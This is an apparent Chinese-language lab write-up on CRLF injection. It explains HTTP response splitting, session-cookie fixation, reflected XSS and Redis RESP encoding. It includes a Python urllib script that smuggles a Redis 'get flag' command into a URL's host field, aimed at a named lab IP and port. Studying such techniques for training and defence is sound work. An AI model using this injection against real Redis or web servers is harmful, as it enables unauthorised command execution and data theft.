在HTTP當中HTTP的Header和Body之間就是用兩個crlf進行分隔的,如果能控制HTTP消息頭中的字符,注入一些惡意的換行,這樣就能注入一些會話cookie和html代碼,所以CRLF injection 又叫做 HTTP response Splitting,簡稱HRS。CRLF漏洞可以造成Cookie會話固定和反射型XSS(可過waf)的危害,注入XSS的利用方式:連續使用兩次%0d%oa就會造成header和body之間的分離,就可以在其中插入xss代碼形成反射型xss漏洞。
大容量字符串按以下方式編碼: 1、一個以“$”字節開始,后面是組成字符串的字節數(前綴長度),由CRLF終止。 2、實際的字符串數據。 3、最終的CRLF。 所以字符串“foobar”被編碼如下: "$6\r\nfoobar\r\n" 當一個空字符串只是: "$0\r\n\r\n" 還可以使用RESP Bulk Strings 的特殊格式來表示空值。在這種特殊的格式中,長度是-1,並且沒有數據,所以空值表示為: "$-1\r\n"
靶場訓練:對redis 114.55.65.251.46379進行CRLF注入
根據上面的原理直接構造playload
# -*- coding:utf -8 -*- """ @Author:Forchan @File:urllib_test.py @Time:2021/02/23 """ import urllib.request host = '114.55.65.251:46379?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n' url= f'http://{host}/' resp = urllib.request.urlopen(url) print(resp.read())
點擊file頁面觀察是否存在“Http/”有斜杠“/”說明通過
觀察得到version通過readline讀出的

打斷點

重新debug
點擊Evaluate

成功讀取到flag
